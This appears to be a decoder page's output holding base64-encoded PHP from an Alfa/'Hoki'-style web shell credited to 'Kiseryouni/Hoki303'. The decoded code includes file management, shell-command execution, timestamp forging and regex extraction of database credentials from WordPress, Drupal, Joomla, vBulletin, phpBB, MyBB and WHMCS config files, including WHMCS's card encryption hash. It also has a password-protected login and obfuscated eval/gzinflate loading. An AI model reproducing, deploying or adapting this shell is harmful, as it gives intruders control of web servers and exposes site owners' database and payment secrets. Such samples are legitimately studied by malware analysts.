b25lIik7CgkJfWVsc2VpZihpc19kaXIoJF9QT1NUWyJob2tpMSJdKSl7CgkJCWlmKCFpc19kaXIoJF9QT1NUWyJob2tpMiJdKSl7CgkJCQlta2RpcigkX1BPU1RbImhva2kyIl0sIDA3NTUsIHRydWUpOwoJCQl9CgkJCWNvcHlfcGFzdGUoJGRpciw
gJG5hbWUgLCAkX1BPU1RbImhva2kyIl0gLiAiLyIpOwoJCQllY2hvKCJkb25lIik7CgkJfQoJfWVsc2VpZigkYWN0aW9uID09ICJtb2RpZnkiKXsKCQlpZiggIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkgKSB7CgkJCSR0aW1lID0gc3RydG90aW1lKC
RfUE9TVFsnaG9raTEnXSk7CgkJCWlmKCR0aW1lKXsKCQkJCSR0b3VjaGVkID0gZmFsc2U7CgkJCQlpZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCQkJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3Rvd
WNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kxJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiciKTsKCQkJCQkkdG91Y2hlZCA9IHRydWU7CgkJCQl9CgkJCQlpZighQHRvdWNoKCRf
UE9TVFsnaG9raTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7CgkJCQkJZWNobyAnbm8nOwoJCQkJfWVsc2V7CgkJCQkJZWNobyAnb2snOwoJCQkJfQoJCQl9IGVsc2V7CgkJCQkgZWNobyAnYmFkdGltZSc7CgkJCX0KCQl9Cgl9Cgp9CmZ1bmN
0aW9uIGhva2lnZXRfZmxhZ3MoKXsKCSRmbGFncyA9IGFycmF5KCk7CglpZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXsKCQkkY3VybCA9IG5ldyBIb2tpQ1VSTCgpOwoJCSRzZXJ2ZXJfYWRkciA9ICghQCRfU0VSVkVSWyJTRVJWRV
JfQUREUiJdPyhmdW5jdGlvbl9leGlzdHMoImdldGhvc3RieW5hbWUiKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk6Jz8/Pz8nKTpAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pOwoJCSRmbGFnID0gJGN1cmwtPlNlbmQoI
mh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIgLiAkc2VydmVyX2FkZHIpOwoJCSRmbGFnMiA9ICRjdXJsLT5TZW5kKCJodHRwOi8vd3d3Lmdlb3BsdWdpbi5uZXQvanNvbi5ncD9pcD0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERS
Il0pOwoJCWlmKHN0cnBvcygkZmxhZzIsICJnZW9wbHVnaW4iKSAhPSBmYWxzZSl7CgkJCSRmbGFnID0ganNvbl9kZWNvZGUoJGZsYWcsIHRydWUpOwoJCQkkZmxhZzIgPSBqc29uX2RlY29kZSgkZmxhZzIsIHRydWUpOwoJCQlpZighZW1wdHkoJGZ
sYWdbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddKSl7CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJuYW1lIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2
luX2NvdW50cnlDb2RlJ107CgkJCX0KCQkJaWYoIWVtcHR5KCRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKCQkJCSRmbGFnc1siY2xpZW50Il1bIm5hbWUiXSA9ICRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZ
mxhZ3NbImNsaWVudCJdWyJjb2RlIl0gPSAkZmxhZzJbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddOwoJCQl9CgkJfQoJfQoJZWNobyBqc29uX2VuY29kZSgkZmxhZ3MpOwp9CmZ1bmN0aW9uIGhva2lHZXRDb25maWcoKXsKJGNtcyA9ICRfUE9TVFsn
aG9raTEnXTsKJHBhdGggPSB0cmltKCRfUE9TVFsnaG9raTInXSk7CiRjb25maWcgPSBhcnJheSgKJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCI
pREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfTkFNRSg/Oid8XCIpWy
BdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfVVNFUig/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J
3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xc
IilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAoncHJlZml4Jz0+YXJyYXkoIi90YWJsZV9wcmVmaXhbIF17MCx9PVsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDEpCiksCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZml
nLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZS
c9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfREFUQUJBU0UoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidkYnVzZXInPT5hcnJheSgiL2RlZ
mluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAonZGJwdyc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBd
ezAsfSg/Oid8XCIpREJfUEFTU1dPUkQoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidwcmVmaXgnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKUR
CX1BSRUZJWCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKQopLAonZHJ1cGFsMic9PmFycmF5KCdmaWxlJz0+Jy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsCidob3N0Jz
0+YXJyYXkoIi8oPzonfFwiKWhvc3QoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLAonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9K
D86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvKD86J3xcIil1c2VybmFtZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksCidkYnB3Jz0+YXJy
YXkoIi8oPzonfFwiKXBhc3N3b3JkKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzo
nfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpCiksCid2Yic9PmFycmF5KCdmaWxlJz0+Jy9pbmNsdWRlcy9jb25maWcucGhwJywKJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfF
wiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9jb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIil1c2Vyb
mFtZSg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMyksCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpZGJuYW1lKD86J3xcIilcXShc
cyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD8
6J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIil0YWJsZXByZWZpeCg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPy
koPzonfFwiKVsgXXswLH07LyIsMykKKSwKJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoJy9kYmhvc3QoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RibmFtZSc9PmFyc
mF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RicHcnPT5hcnJheSgnL2RicGFzcyhc
cyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLAoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQopLAonc21mJz0+YXJyYXkoJ2ZpbGUnPT4nL1NldHRpbmdzLnBocCc
sCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz
0+YXJyYXkoIi9kYl91c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvZ
GJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywKJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4q
PykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid
8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2NjX2VuY3J5cHRpb25faGFzaCc9PmFycmF5KCIvY2NfZW5jcnlwdGlvbl9oYXNoKFxzKyk9KFxzKykoPz
onfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsCidob3N0Jz0+YXJyYXkoIi9cXFwkaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZ
GJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJh
eSgiL1xcXCRwYXNzd29yZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopLAoncGhwYmInPT5hcnJ
heSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3
xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2RidXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ
3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0
YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ2RhdGFiYXNlJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD8
6J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1
xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd0YWJsZV9wcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonf
FwiKTsvIiwzKQopCik7CmlmKCRjbXMgPT0gImRydXBhbCIpewoJJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107CgkkZmlsZT0kcGF0aC4kZmlsZTsKCWlmKEBpc19maWxlKCRmaWxlKXx8X2hva2lfaXNfZGlyKCRmaWxlLCItZSIpKXsKCX1l
bHNlewoJCSRjbXMgPSAnZHJ1cGFsMic7Cgl9Cn0KaWYoJGNtcyA9PSAidmIiKXsKCSRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwoJJGZpbGU9JHBhdGguJGZpbGU7CglpZihAaXNfZmlsZSgkZmlsZSl8fF9ob2tpX2lzX2RpcigkZmlsZSw
iLWUiKSl7Cgl9ZWxzZXsKCQkkcGF0aCAuPSAnL2NvcmUnOwoJfQp9CiRkYXRhID0gYXJyYXkoKTsKJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsKJHNyY2hfdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzBdOwokc3
JjaF9uYW1lID0gJGNvbmZpZ1skY21zXVsnZGJuYW1lJ11bMF07CiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOwokcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMF07CiRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZ
SddOwokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07CiRjdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzFdOwokY25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVsxXTsKJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcn
XVsxXTsKJGNwcmVmaXggPSAkY29uZmlnWyRjbXNdWydwcmVmaXgnXVsxXTsKaWYoQGlzX2RpcigkcGF0aCl8fF9ob2tpX2lzX2RpcigkcGF0aCkpewokZmlsZT0kcGF0aC4kZmlsZTsKfWVsc2VpZihAaXNfZmlsZSgkcGF0aCl8fF9ob2tpX2lzX2R
pcigkcGF0aCwiLWUiKSl7CiRmaWxlPSRwYXRoOwp9ZWxzZXsKcmV0dXJuIGZhbHNlOwp9CiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOwppZigkY21zID09ICJkcnVwYWwyIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL1xAY29kZSguKj8pXE
BlbmRjb2RlL3MiLCAiIiwgJGZpbGUpOwp9ZWxzZWlmKCRjbXMgPT0gInZiIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL3JpZ2h0IG9mIHRoZSguKj8pQkFEIS9zIiwgIiIsICRmaWxlKTsKfQppZihwcmVnX21hdGNoKCRzcmNoX2hvc3QsICRma
WxlLCAkbWFjaCkpewokZGF0YVsnaG9zdCddID0gJG1hY2hbJGNob3N0XTsKfQppZihwcmVnX21hdGNoKCRzcmNoX3VzZXIsICRmaWxlLCAkbWFjaCkpewokZGF0YVsndXNlciddID0gJG1hY2hbJGN1c2VyXTsKfQppZihwcmVnX21hdGNoKCRzcmNo
X25hbWUsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnZGJuYW1lJ10gPSAkbWFjaFskY25hbWVdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfcHcsICRmaWxlLCAkbWFjaCkpewokZGF0YVsncGFzc3dvcmQnXSA9ICRtYWNoWyRjcHddOwp9CmlmKGlzc2V
0KCRwcmVmaXgpKXsKaWYocHJlZ19tYXRjaCgkcHJlZml4LCAkZmlsZSwgJG1hY2gpKXsKJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOwp9Cn0KaWYoJGNtcz09J3dobWNzJyl7CmlmKHByZWdfbWF0Y2goJGNvbmZpZ1skY21zXVsnY2
NfZW5jcnlwdGlvbl9oYXNoJ11bMF0sICRmaWxlLCAkbWFjaCkpewokZGF0YVsnY2NfZW5jcnlwdGlvbl9oYXNoJ10gPSAkbWFjaFszXTsKfQp9CmVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOwp9CmlmKGVtcHR5KCRfUE9TVFsnYSddKSkKaWYoaXNzZ
XQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2hva2knIC4gJGRlZmF1bHRfYWN0aW9uKSkKJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CmVsc2UKJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4yJzsvLydGaWxlc01hbic7
CmlmKCFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdob2tpJyAuICRfUE9TVFsnYSddKSkKY2FsbF91c2VyX2Z1bmMoJ2hva2knIC4gJF9QT1NUWydhJ10pOwpleGl0OwovKgojSW5kb25lc2lhbiBHdWxmIEZvciBFdmVyCiN
0ZWxlZ3JhbToga2lzZXJ5b3VuaQoqLw== ?>
Did this file decode correctly?
Original Code
LyoKCUF1dGhvcjogCUtpc2VyeW91bmkvSG9raTMwMwoJVGVsZWdyYW06IAlodHRwczovL3QubWUva2lzZXJ5b3VuaQoJR21haWw6CQlraXNlcnlvdW5pQGdtYWlsLmNvbQoJRGF0ZToJCU1vbmRheSwgSnVuZSAwM
ywgMjAyNAoqLwokR0xPQkFMU1snb1pnTnlwb1BSVSddID0gYXJyYXkoCiAgICAndXNlcm5hbWUnID0+ICcweE5peCcsCiAgICAncGFzc3dvcmQnID0+ICdlZWRkNGViNTRiMTIyOGI2MWU1NzVkMjAwNGMyMjQ2MycsLy9tZDUoZGVmYXVsdCA6IGhl
a2VybWFrbG8pCiAgICAnc2FmZV9tb2RlJyA9PiAnMScsCiAgICAnbG9naW5fcGFnZScgPT4gJzUwMCcsCiAgICAnc2hvd19pY29ucycgPT4gJzEnLAogICAgJ3Bvc3RfZW5jcnlwdGlvbicgPT4gdHJ1ZSwKICAgICdjZ2lfYXBpJyA9PiB0cnVlLAo
pOwoKJENXcHBVREp4dWYgPSAnZnUnIC4gJ24nIC4gJ2N0JyAuICdpb25fJyAuICdlJyAuICd4aXN0JyAuICdzJzsKJGF6dEp0YWZVWG0gPSAnY2hhJyAuICdyJyAuICdDJyAuICdvJyAuICdkJyAuICdlJyAuICdBJyAuICd0JyAuICcnOwokT1ZwR0
5xcUZacyA9ICdlJyAuICd2JyAuICdhbCc7CiRwc0RFd0doc3hnID0gJ2d6JyAuICdpbmYnIC4gJ2xhdGUnOwoKaWYgKCEkQ1dwcFVESnh1ZignYicgLiAnYScgLiAnc2U2NCcgLiAnX2VuJyAuICdjJyAuICdvZGUnIC4gJycpKQp7CiAgICBmdW5jd
GlvbiB2Y252U0NaZ0J6KCRkYXRhKQogICAgewogICAgICAgIGlmIChlbXB0eSgkZGF0YSkpIHJldHVybjsKICAgICAgICAkYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5
Ky89JzsKICAgICAgICAkbzEgPSAkbzIgPSAkbzMgPSAkaDEgPSAkaDIgPSAkaDMgPSAkaDQgPSAkYml0cyA9ICRpID0gMDsKICAgICAgICAkYWMgPSAwOwogICAgICAgICRlbmMgPSAnJzsKICAgICAgICAkdG1wX2FyciA9IGFycmF5KCk7CiAgICA
gICAgaWYgKCEkZGF0YSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiAkZGF0YTsKICAgICAgICB9CiAgICAgICAgZG8KICAgICAgICB7CiAgICAgICAgICAgICRvMSA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKICAgICAgICAgICAgJG
8yID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwogICAgICAgICAgICAkbzMgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiAgICAgICAgICAgICRiaXRzID0gJG8xIDw8IDE2IHwgJG8yIDw8IDggfCAkbzM7CiAgICAgICAgICAgICRoMSA9I
CRiaXRzID4+IDE4ICYgMHgzZjsKICAgICAgICAgICAgJGgyID0gJGJpdHMgPj4gMTIgJiAweDNmOwogICAgICAgICAgICAkaDMgPSAkYml0cyA+PiA2ICYgMHgzZjsKICAgICAgICAgICAgJGg0ID0gJGJpdHMgJiAweDNmOwogICAgICAgICAgICAk
dG1wX2FyclskYWMrK10gPSBjaGFyQXQoJGI2NCwgJGgxKSAuIGNoYXJBdCgkYjY0LCAkaDIpIC4gY2hhckF0KCRiNjQsICRoMykgLiBjaGFyQXQoJGI2NCwgJGg0KTsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKCRpIDwgc3RybGVuKCRkYXRhKSk
7CiAgICAgICAgJGVuYyA9IGltcGxvZGUoJHRtcF9hcnIsICcnKTsKICAgICAgICAkciA9IChzdHJsZW4oJGRhdGEpICUgMyk7CiAgICAgICAgcmV0dXJuICgkciA/IHN1YnN0cigkZW5jLCAwLCAoJHIgLSAzKSkgOiAkZW5jKSAuIHN1YnN0cignPT
09JywgKCRyIHx8IDMpKTsKICAgIH0KICAgIGZ1bmN0aW9uIGNoYXJDb2RlQXQoJGRhdGEsICRjaGFyKQogICAgewogICAgICAgIHJldHVybiBvcmQoc3Vic3RyKCRkYXRhLCAkY2hhciwgMSkpOwogICAgfQogICAgZnVuY3Rpb24gY2hhckF0KCRkY
XRhLCAkY2hhcikKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRkYXRhLCAkY2hhciwgMSk7CiAgICB9Cn0KZWxzZQp7CiAgICBmdW5jdGlvbiB2Y252U0NaZ0J6KCRzKQogICAgewogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3NlNjQnIC4g
J19lbicgLiAnYycgLiAnb2RlJyAuICcnOwogICAgICAgIHJldHVybiAkYigkcyk7CiAgICB9Cn0KaWYgKCEkQ1dwcFVESnh1ZignYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnKSkKewogICAgZnV
uY3Rpb24gelJ0U0hzYlR6VigkaW5wdXQpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRpbnB1dCkpIHJldHVybjsKICAgICAgICAka2V5U3RyID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMT
IzNDU2Nzg5Ky89IjsKICAgICAgICAkY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOwogICAgICAgICRpID0gMDsKICAgICAgICAkb3V0cHV0ID0gIiI7CiAgICAgICAgJ
GlucHV0ID0gcHJlZ19yZXBsYWNlKCJbXkEtWmEtejAtOVwrXC9cPV0iLCAiIiwgJGlucHV0KTsKICAgICAgICBkbwogICAgICAgIHsKICAgICAgICAgICAgJGVuYzEgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwog
ICAgICAgICAgICAkZW5jMiA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRlbmMzID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKICAgICAgICAgICAgJGVuYzQ
gPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkY2hyMSA9ICgkZW5jMSA8PCAyKSB8ICgkZW5jMiA+PiA0KTsKICAgICAgICAgICAgJGNocjIgPSAoKCRlbmMyICYgMTUpIDw8IDQpIHwgKCRlbm
MzID4+IDIpOwogICAgICAgICAgICAkY2hyMyA9ICgoJGVuYzMgJiAzKSA8PCA2KSB8ICRlbmM0OwogICAgICAgICAgICAkb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIxKTsKICAgICAgICAgICAgaWYgKCRlbmMzICE9IDY0KQogICAgI
CAgICAgICB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGVuYzQgIT0gNjQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRvdXRw
dXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOwogICAgICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOwogICAgICA
gIH0KICAgICAgICB3aGlsZSAoJGkgPCBzdHJsZW4oJGlucHV0KSk7CiAgICAgICAgcmV0dXJuICRvdXRwdXQ7CiAgICB9Cn0KZWxzZQp7CiAgICBmdW5jdGlvbiB6UnRTSHNiVHpWKCRzKQogICAgewogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3
